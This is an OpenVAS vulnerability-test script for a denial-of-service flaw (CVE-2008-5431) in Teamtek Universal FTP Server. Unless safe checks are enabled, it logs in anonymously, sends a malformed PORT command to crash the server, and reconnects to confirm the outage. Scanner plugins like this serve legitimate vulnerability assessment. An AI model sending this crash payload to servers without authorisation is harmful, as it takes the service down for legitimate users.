###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_teamtek_uftp_serv_mult_cmd_dos_Vuln.nasl 670 2008-12-16 09:41:24Z dec $
#
# Teamtek Universal FTP Server Multiple Commands Denial Of Service Vulnerabilities
#
# Authors:
# Sharath S <sharaths@secpod.com>
#
# Copyright:
# Copyright (c) 2008 Intevation GmbH, http://www.intevation.net
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

if(description)
{
  script_id(800322);
  script_version("$Revision: 1.0$");
  script_tag(name:"cvss_base", value:"7.8");
  script_tag(name:"risk_factor", value:"High");
  script_cve_id("CVE-2008-5431");
  script_bugtraq_id(27804);
  script_name("Teamtek Universal FTP Server Multiple Commands DoS Vulnerabilities");
  desc = "

  Overview: The host is running Universal FTP server and is prone to Denial of
  Service Vulnerabilities.

  Vulnerability Insight:
  The flaws are exists due to run-time error while executing CWD, LIST, PORT,
  STOR, PUT and MKD commands. These commands are not properly sanitised.

  Impact:
  Successful exploitation could allows remote attackers to crash the affected
  application, denying the service to legitimate users.

  Impact Level: Application

  Affected Software/OS:
  Teamtek, Universal FTP Server version 1.0.50 and prior on Windows.

  Fix: No solution/patch is available as on 16th December, 2008. Information
  regarding this issue will updated once the solution details are available.
  For updates refer, http://www.5e5.net/universalftp.html

  References:
  http://secunia.com/advisories/22553
  http://www.securityfocus.com/archive/1/archive/1/488142/100/200/threaded

  CVSS Score:
    CVSS Base Score     : 7.8 (AV:N/AC:L/Au:NR/C:N/I:N/A:C)
    CVSS Temporal Score : 7.0
  Risk factor: High";

  script_description(desc);
  script_summary("Check for the Version of Universal FTP Server");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2008 Intevation GmbH");
  script_family("Denial of Service");
  script_dependencies("find_service.nes");
  script_require_ports("Services/ftp", 21);
  exit(0);
}


include("ftp_func.inc");

port = get_kb_item("Services/ftp");
if(!port){
  port = 21;
}

if("UNIVERSAL FTP SERVER" >!< get_ftp_banner(port)){
  exit(0);
}

if(!safe_checks())
{
  soc = open_sock_tcp(port);
  if(!soc){
    exit(0);
  }

  # Authenticate with anonymous user (Before crash)
  if(!ftp_authenticate(socket:soc, user:"anonymous", pass:"anonymous")){
    exit(0);
  }

  ftp_send_cmd(socket:soc, cmd:string("PORT AAAAAAAAAAAAAAAAA \r\n"));
  sleep(5);
  close(soc);

  # Check for UFTP Service Status
  soc = open_sock_tcp(port);
  if(!soc)
  {
    security_warning(port);
    exit(0);
  }
  else if(soc)
  {
    # Re-authenticate with anonymous user (After crash)
    if(!ftp_authenticate(socket:soc, user:"anonymous", pass:"anonymous")){
      security_warning(port);
    }
    close(soc);
  }
}
